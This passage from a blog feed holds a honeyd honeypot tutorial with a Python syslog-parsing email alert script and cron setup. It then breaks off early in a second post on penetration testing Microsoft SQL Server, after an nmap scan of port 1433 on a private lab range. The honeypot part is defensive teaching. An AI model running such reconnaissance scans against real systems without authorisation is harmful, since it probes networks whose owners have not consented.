honeyd[12073]: Sending ICMP Echo Reply: 192.168.134.147 -&gt; 192.168.134.254<br />
honeyd[12073]: arp_send: who-has 192.168.134.254 tell 192.168.134.147<br />
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74</div></div>
<p>So this just created a honeypot with the IP address of 192.168.134.147. From another machine let&#8217;s port scan our honeypot, to keep the output simple I&#8217;m only going to scan one port.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@tht:~# nmap -p 135 192.168.134.147<br />
<br />
Starting Nmap 5.21 ( http://nmap.org ) at 2012-02-10 19:37 PST<br />
Nmap scan report for 192.168.134.147<br />
Host is up (0.0013s latency).<br />
PORT STATE SERVICE<br />
135/tcp open msrpc<br />
MAC Address: 00:00:24:54:9E:06 (Connect AS)<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds</div></div>
<p>So port 135 is open so we know our configuration is working properly. Also honeyd will output information to the terminal letting you know that connections are being made to your honeypot. The information below was appended to the output from when we started honeyd.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06<br />
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06<br />
honeyd[12073]: Connection request: tcp (192.168.134.143:49677 - 192.168.134.147:135)<br />
honeyd[12073]: arp_send: who-has 192.168.134.143 tell 192.168.134.147<br />
honeyd[12073]: arp_recv_cb: 192.168.134.143 at 00:0c:29:e3:2a:39<br />
honeyd[12073]: Connection dropped by reset: tcp (192.168.134.143:49677 - 192.168.134.147:135)<br />
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74<br />
honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74</div></td></tr></tbody></table></div>
<p>On line three we see a connection request from 192.168.134.143 to our honeypot at 192.168.134.147 and the &#8220;:135&#8243; after the IP address is the destination port so from this output we can verify everything is working and we&#8217;re getting the correct response from our port scan. You also see on line six that the connection from 192.168.134.143 to 192.168.134.147 was dropped. Now let&#8217;s take a look at our log file to see what kind of information about our port scan shows up. We&#8217;ll use the tail command in Linux, by default the tail command only shows the last 10 lines of a file although this can be adjusted.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# tail /tmp/logfile<br />
2012-02-10-22:37:42.9749 udp(17) - 192.168.134.1 61712 224.0.0.252 5355: 60<br />
2012-02-10-22:37:48.0504 udp(17) - 192.168.134.143 44907 192.168.134.2 53: 74<br />
2012-02-10-22:37:48.0751 udp(17) - 192.168.134.2 53 192.168.134.143 44907: 74<br />
2012-02-10-22:37:48.0799 tcp(6) S 192.168.134.143 49677 192.168.134.147 135<br />
2012-02-10-22:37:48.0814 tcp(6) E 192.168.134.143 49677 192.168.134.147 135: 0 0<br />
2012-02-10-22:38:00.0874 udp(17) - 192.168.134.1 57479 224.0.0.252 5355: 55<br />
2012-02-10-22:38:02.9374 udp(17) - 192.168.134.1 64855 224.0.0.252 5355: 55<br />
2012-02-10-22:38:09.9825 udp(17) - 192.168.134.1 57141 224.0.0.252 5355: 57<br />
2012-02-10-22:38:13.2114 udp(17) - 192.168.134.1 60692 224.0.0.252 5355: 56<br />
2012-02-10-22:38:16.0751 udp(17) - 192.168.134.1 57282 224.0.0.252 5355: 56</div></td></tr></tbody></table></div>
<p>In the log file we see very similar information on lines 5 and 6 as we did in the standard output of the terminal. Turns out there&#8217;s a third location of output that we could tap into. All processes in Linux will probably display some kind of information into one of two system log files. Either the /var/log/messages or the /var/log/syslog file. Different <a href="http://distrowatch.com/" target="_blank">distros</a> of Linux will put this information into different locations but for the backtrack distro I know it goes into /var/log/syslog. Let&#8217;s tail this file to see what kind of information it holds.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Feb 10 22:36:53 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06<br />
Feb 10 22:36:53 bt honeyd[12073]: Sending ICMP Echo Reply: 192.168.134.147 -&gt; 192.168.134.254<br />
Feb 10 22:36:53 bt honeyd[12073]: arp_send: who-has 192.168.134.254 tell 192.168.134.147<br />
Feb 10 22:36:53 bt honeyd[12073]: arp_recv_cb: 192.168.134.254 at 00:50:56:e8:c9:74<br />
Feb 10 22:37:48 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06<br />
Feb 10 22:37:48 bt honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06<br />
Feb 10 22:37:48 bt honeyd[12073]: Connection request: tcp (192.168.134.143:49677 - 192.168.134.147:135)<br />
Feb 10 22:37:48 bt honeyd[12073]: arp_send: who-has 192.168.134.143 tell 192.168.134.147<br />
Feb 10 22:37:48 bt honeyd[12073]: arp_recv_cb: 192.168.134.143 at 00:0c:29:e3:2a:39<br />
Feb 10 22:37:48 bt honeyd[12073]: Connection dropped by reset: tcp (192.168.134.143:49677 - 192.168.134.147:135)</div></td></tr></tbody></table></div>
<p>On lines 7 and 10 we see similar information as we&#8217;ve seen in other areas. So when I decided to build an email alert script I had three sources of information I could pull from. I eventually went with combing through /var/log/syslog but I could have easily went a different route. For me /var/log/syslog seem to have more verbosity and better keywords but then again that&#8217;s just my opinion. My next step was to write a script that would parse /var/log/syslog then generate an email alert when it saw connections to my honeypot. I wrote my script in <a href="http://python.org/" target="_blank">Python</a> because I&#8217;m most familiar with that language and Python comes installed by default on most Linux distributions so whatever distro you decide to run honeyd on it&#8217;s more than likely Python will already be installed on that same operating system.</p>
<p>Before you implement any scripted email solution it&#8217;s a good idea to test email functionality with a small email script just to ensure you can properly communicate and receive email alerts. To do this you&#8217;ll need to know the name (<a href="http://en.wikipedia.org/wiki/Fully_qualified_domain_name" target="_blank">FQDN</a>) of your<a href="http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol" target="_blank"> SMTP </a>email server. You can usually find them in your email client. For Outlook you can go to File &gt; Account Settings &gt; Account Settings &gt; Email tab &gt; click on Change, there you&#8217;ll see the name of your organizations smtp server. Typically it&#8217;ll be something simple, if the email of your organization ends in example.com then your smtp server will likely be smtp.example.com. SMTP servers are usually configured to send emails in one of two ways, authenticated or unauthenticated. We&#8217;ll look at examples for both. The first example below is a python script of sending authentication credentials along with the request, in this particular I&#8217;m sending the alert to my gmail account.</p>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br /></div></td><td><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">smtplib</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<br />
From <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'someuser@gmail.com'</span><br />
To <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'travisaltman@gmail.com'</span><br />
Date <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">time</span>.<span style="color: black;">ctime</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
Subject <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'test'</span><br />
Text <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'test'</span><br />
<br />
Message <span style="color: #66cc66;">=</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'From: %s<span style="color: #000099; font-weight: bold;">\n</span>To: %s<span style="color: #000099; font-weight: bold;">\n</span>Date: %s<span style="color: #000099; font-weight: bold;">\n</span>Subject: %s<span style="color: #000099; font-weight: bold;">\n</span>%s<span style="color: #000099; font-weight: bold;">\n</span>'</span> % <span style="color: black;">&#40;</span>From<span style="color: #66cc66;">,</span> To<span style="color: #66cc66;">,</span> Date<span style="color: #66cc66;">,</span> Subject<span style="color: #66cc66;">,</span> Text<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
username <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'someuser'</span><br />
password <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'somepassword'</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'Connecting to server'</span><span style="color: black;">&#41;</span><br />
s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">smtplib</span>.<span style="color: black;">SMTP</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'smtp.gmail.com'</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">starttls</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
s.<span style="color: black;">login</span><span style="color: black;">&#40;</span>username<span style="color: #66cc66;">,</span>password<span style="color: black;">&#41;</span><br />
sendMail <span style="color: #66cc66;">=</span> s.<span style="color: black;">sendmail</span><span style="color: black;">&#40;</span>From<span style="color: #66cc66;">,</span> To<span style="color: #66cc66;">,</span> Message<span style="color: black;">&#41;</span><br />
s.<span style="color: black;">quit</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">if</span> sendMail:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'error'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">else</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'great success'</span><span style="color: black;">&#41;</span></div></td></tr></tbody></table></div>
<p>Hopefully some of this script is easy to figure out, the main thing you need to be concerned with is lines 11,12, and 15. Lines 11 and 12 hold the username and password you&#8217;ll need to authenticate to your smtp server and line 15 is the name of your smtp server. More than likely your internal smtp server will not require authentication if that&#8217;s the case simply remove lines 11,12,16, and 17 from the script above. If you&#8217;re not sure first send the test email without authentication and if you get the error message &#8220;smtplib.SMTPSenderRefused&#8221; then more than likely you&#8217;ll need to provide credentials. If everything goes smooth running your test email script then you should see the output below, here I&#8217;ve named my script test.py.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@tht:~# python test.py<br />
Connecting to server<br />
great success</div></div>
<p>Next you can implement the full email alerting script. Simply copy and paste the script below into your text editor of choice and name the script, I&#8217;ve named my alert.py.</p>
<div class="codecolorer-container python blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br /></div></td><td><div class="python codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">time</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">smtplib</span><br />
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span><br />
<br />
<span style="color: #ff7700;font-weight:bold;">try</span>:<br />
&nbsp; <span style="color: #dc143c;">os</span>.<span style="color: black;">remove</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'/root/outputHoney'</span><span style="color: black;">&#41;</span><br />
<span style="color: #ff7700;font-weight:bold;">except</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">pass</span><br />
<br />
log <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;/var/log/syslog&quot;</span><br />
output <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'outputHoney'</span><br />
<br />
systemTime <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">time</span>.<span style="color: black;">ctime</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
loggedDate <span style="color: #66cc66;">=</span> systemTime<span style="color: black;">&#91;</span><span style="color: #ff4500;">4</span>:<span style="color: #ff4500;">10</span><span style="color: black;">&#93;</span><br />
loggedYear <span style="color: #66cc66;">=</span> systemTime<span style="color: black;">&#91;</span><span style="color: #ff4500;">20</span>:<span style="color: #ff4500;">24</span><span style="color: black;">&#93;</span><br />
hostFile <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'/etc/hostname'</span><br />
readHostFile <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>hostFile<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'rU'</span><span style="color: black;">&#41;</span>.<span style="color: #dc143c;">readline</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
extractHostName1 <span style="color: #66cc66;">=</span> readHostFile.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'&quot;'</span><span style="color: black;">&#41;</span><br />
hostname <span style="color: #66cc66;">=</span> extractHostName1<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">rstrip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
<br />
<span style="color: #008000;">file</span> <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>log<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'rU'</span><span style="color: black;">&#41;</span>.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span><br />
<span style="color: #ff7700;font-weight:bold;">for</span> line <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">file</span>:<br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">search</span><span style="color: black;">&#40;</span>loggedDate<span style="color: #66cc66;">,</span> line<span style="color: black;">&#41;</span>:<br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">search</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;192.168.1.55&quot;</span><span style="color: #66cc66;">,</span> line<span style="color: black;">&#41;</span>: <span style="color: #808080; font-style: italic;">#This if for any IP(s) you want to exclude</span><br />
&nbsp; &nbsp; ignore <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">''</span><br />
&nbsp; <span style="color: #ff7700;font-weight:bold;">elif</span> <span style="color: #dc143c;">re</span>.<span style="color: black;">search</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Connection request&quot;</span><span style="color: #66cc66;">,</span> line<span style="color: black;">&#41;</span>:<br />
&nbsp; &nbsp; loggedTime <span style="color: #66cc66;">=</span> line<span style="color: black;">&#91;</span><span style="color: #ff4500;">7</span>:<span style="color: #ff4500;">15</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; timeString <span style="color: #66cc66;">=</span> loggedDate + <span style="color: #483d8b;">' '</span> + loggedYear + <span style="color: #483d8b;">' '</span> + loggedTime<br />
&nbsp; &nbsp; timeTuple <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">time</span>.<span style="color: black;">strptime</span><span style="color: black;">&#40;</span>timeString<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'%b %d %Y %H:%M:%S'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; epochLogTime <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">time</span>.<span style="color: black;">mktime</span><span style="color: black;">&#40;</span>timeTuple<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; epochSystemTime <span style="color: #66cc66;">=</span> <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">time</span>.<span style="color: #dc143c;">time</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #ff7700;font-weight:bold;">if</span> epochSystemTime <span style="color: #66cc66;">&lt;=</span> epochLogTime+<span style="color: #ff4500;">300</span>:<br />
&nbsp; &nbsp; &nbsp; lineSplit1 <span style="color: #66cc66;">=</span> line.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'('</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; lineSplit2 <span style="color: #66cc66;">=</span> lineSplit1<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; lineSplit3 <span style="color: #66cc66;">=</span> lineSplit2.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">':'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; lineSplit4 <span style="color: #66cc66;">=</span> lineSplit2.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'-'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; lineSplit5 <span style="color: #66cc66;">=</span> lineSplit4<span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; lineSplit6 <span style="color: #66cc66;">=</span> lineSplit5.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">':'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; destinationIP <span style="color: #66cc66;">=</span> lineSplit6<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; sourceIP <span style="color: #66cc66;">=</span> lineSplit3<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><br />
&nbsp; &nbsp; &nbsp; srcAndDest <span style="color: #66cc66;">=</span> sourceIP + <span style="color: #483d8b;">' connected to '</span> + destinationIP<br />
&nbsp; &nbsp; &nbsp; <span style="color: #008000;">file</span> <span style="color: #66cc66;">=</span> <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>output<span style="color: #66cc66;">,</span> <span style="color: #483d8b;">'w'</span><span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #008000;">file</span>.<span style="color: black;">writelines</span><span style="color: black;">&#40;</span>srcAndDest<span style="color: black;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #008000;">file</span>.<span style="color: black;">close</span><br />
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'/root/outputHoney'</span><span style="color: black;">&#41;</span>:<br />
&nbsp; From <span style="color: #66cc66;">=</span> hostname+<span style="color: #483d8b;">'@example.xxx'</span><br />
&nbsp; <span style="color: #808080; font-style: italic;"># To = ['user1@example.xxx','user2@example.xxx']</span><br />
&nbsp; To <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'travisaltman@gmail.com'</span><br />
&nbsp; Date <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">time</span>.<span style="color: black;">ctime</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; Subject <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'honeypot alert'</span><br />
&nbsp; username <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'someusername'</span><br />
&nbsp; password <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">'somepassword'</span><br />
&nbsp; <span style="color: #808080; font-style: italic;"># IPSconnecting = open(output, 'r').read()</span><br />
&nbsp; Text <span style="color: #66cc66;">=</span> <span style="color: #483d8b;">&quot;A device at &quot;</span> + sourceIP + <span style="color: #483d8b;">&quot; is port scanning our honeypot at &quot;</span> \<br />
&nbsp; + destinationIP + <span style="color: #483d8b;">&quot;. This honeypot is being emulated on device &quot;</span> \<br />
&nbsp; + hostname + <span style="color: #483d8b;">&quot;.&quot;</span><br />
&nbsp; Message <span style="color: #66cc66;">=</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'From: %s<span style="color: #000099; font-weight: bold;">\n</span>To: %s<span style="color: #000099; font-weight: bold;">\n</span>Date: %s<span style="color: #000099; font-weight: bold;">\n</span>Subject: %s<span style="color: #000099; font-weight: bold;">\n</span>%s<span style="color: #000099; font-weight: bold;">\n</span>'</span> % <span style="color: black;">&#40;</span>From<span style="color: #66cc66;">,</span> To<span style="color: #66cc66;">,</span> Date<span style="color: #66cc66;">,</span> Subject<span style="color: #66cc66;">,</span> Text<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><br />
&nbsp; s <span style="color: #66cc66;">=</span> <span style="color: #dc143c;">smtplib</span>.<span style="color: black;">SMTP</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'smtp.gmail.com'</span><span style="color: black;">&#41;</span><br />
&nbsp; s.<span style="color: black;">starttls</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><br />
&nbsp; s.<span style="color: black;">login</span><span style="color: black;">&#40;</span>username<span style="color: #66cc66;">,</span>password<span style="color: black;">&#41;</span><br />
&nbsp; sendMail <span style="color: #66cc66;">=</span> s.<span style="color: black;">sendmail</span><span style="color: black;">&#40;</span>From<span style="color: #66cc66;">,</span> To<span style="color: #66cc66;">,</span> Message<span style="color: black;">&#41;</span><br />
&nbsp; s.<span style="color: black;">quit</span></div></td></tr></tbody></table></div>
<p>I&#8217;m not a developer and I always mangle my scripts together so this isn&#8217;t the prettiest code. I&#8217;ll give you a run down of what this script does, if you have any specific questions please feel free to leave a comment I generally respond to comments fairly quickly. Basically the script combs through /var/log/syslog looking for the string &#8220;Connection request&#8221;. I&#8217;ve also confirmed that this script works just as well combing through /var/log/messages, you&#8217;ll have to verify which log your Linux distro is dumping this information. To test the script to make sure it works I would first port scan your honeypot from another device then simply run the python script to see if you get no errors and hopefully you get an email in your inbox, just run the following command after you&#8217;ve port scanned your honeypot.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">python alert.py</div></div>
<p>This command should only run for maybe 10 seconds then return you to the command line. If you get any errors then you&#8217;ll have to trouble shoot the script, contact me if you need help with that. Just to give you an idea of what the email alert would look like I&#8217;ve got a screen shot of an alert I got sent to my gmail address below.</p>
<p><a href="http://travisaltman.com/wp-content/Gmail-honeypotAlert-travisaltman@gmail.png"><img class="aligncenter size-full wp-image-542" title="Gmail-honeypotAlert-travisaltman@gmail" src="http://travisaltman.com/wp-content/Gmail-honeypotAlert-travisaltman@gmail.png" alt="" width="469" height="142" /></a></p>
<p>Currently the script only looks for &#8220;Connection request&#8221; in the last five minutes of log files so you&#8217;ll need to combo that up with running the script every five minutes, this can be done with Linux&#8217;s <a href="http://ss64.com/bash/crontab.html" target="_blank">crontab</a>. <a href="http://en.wikipedia.org/wiki/Cron" target="_blank">Cron</a> can schedule programs to be run at certain frequencies. To set up alert.py to run every five minutes use the crontab command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">crontab -e</div></div>
<p>This opens up a text file in the terminal where you enter a specific syntax to tell cron which program you want to run and how often. Enter the text below to tell cron to run alert.py every five minutes.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">*/5 * * * * /root/alert.py</div></div>
<p>Then use control+w to save your work and control+x to quit the text editor. So in the alert.py script the every five minutes comes from line 33 where 300 is seconds which equals five minutes so if you wanted to modify the time you could do it on that line. Another line in the script you may want to change is line 25, here you can add any IP&#8217;s that you want to ignore for whatever reason. You&#8217;ll definitely want to change line 55 that has the text of the email you&#8217;ll be receiving and customize that to your hearts content. Don&#8217;t forget to modify smtp server information and also remove or change the authentication piece as needed. Also in the screenshot you&#8217;ll notice that the device is &#8220;bt&#8221; which is short for backtrack. I implemented this feature because you may want to run honeyd on multiple devices throughout your network and you&#8217;ll want to know what device is sending you the email. The name of the device is determined in lines 17-20. You may have to modify that code because not all distros of Linux keep their hostname in that location and you may have to parse the text file that holds that hostname in a different manner. There&#8217;s more information that I could go into about the script but hopefully I&#8217;ve hit the major points if there&#8217;s something I missed or if you have any questions or feedback please leave comments.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/zslJxJWlJ00" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-5-email-alerts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-5-email-alerts/</feedburner:origLink></item>
		<item>
		<title>Pen test and hack microsoft sql server (mssql)</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/N6L2dmdbYO0/</link>
		<comments>http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 04:45:34 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[databases]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=446</guid>
		<description><![CDATA[All the information I&#8217;m about to go over is nothing new, I&#8217;m just trying to organize all my notes on pen testing mssql. Hopefully my notes will help others. All the commands and instructions are Linux based so keep that in mind.
The first thing you&#8217;ll need to do is discover IP addresses that have mssql [...]]]></description>
			<content:encoded><![CDATA[<p>All the information I&#8217;m about to go over is nothing new, I&#8217;m just trying to organize all my notes on pen testing mssql. Hopefully my notes will help others. All the commands and instructions are Linux based so keep that in mind.</p>
<p>The first thing you&#8217;ll need to do is discover IP addresses that have mssql running. So you&#8217;ll accomplish this by running some type of scan. The scanner of choice is always <a href="http://nmap.org/" target="_blank">nmap</a> but there are some things you&#8217;ll need to consider when scanning for mssql. The default port for mssql is 1433 but just like with any service it can listen any port. So for starters it&#8217;s definitely a good idea to scan an IP range looking for port 1433.</p>
<p>Step 1 scan for port 1433, this can be done using the following nmap command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">root@bt:~# nmap -p 1433 192.168.134.130-140</div></div>
<p>This will only scan for port 1433 on host 130-140, your IP range will vary. My output is below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-07 23:38 EST<br />
Nmap scan report for 192.168.134.131<br />
Host is up (0.00012s latency)<br />
PORT     STATE  SERVICE<br />
1433/tcp closed ms-sql-s<br />
<br />
Nmap scan report for 192.168.134.132<br />
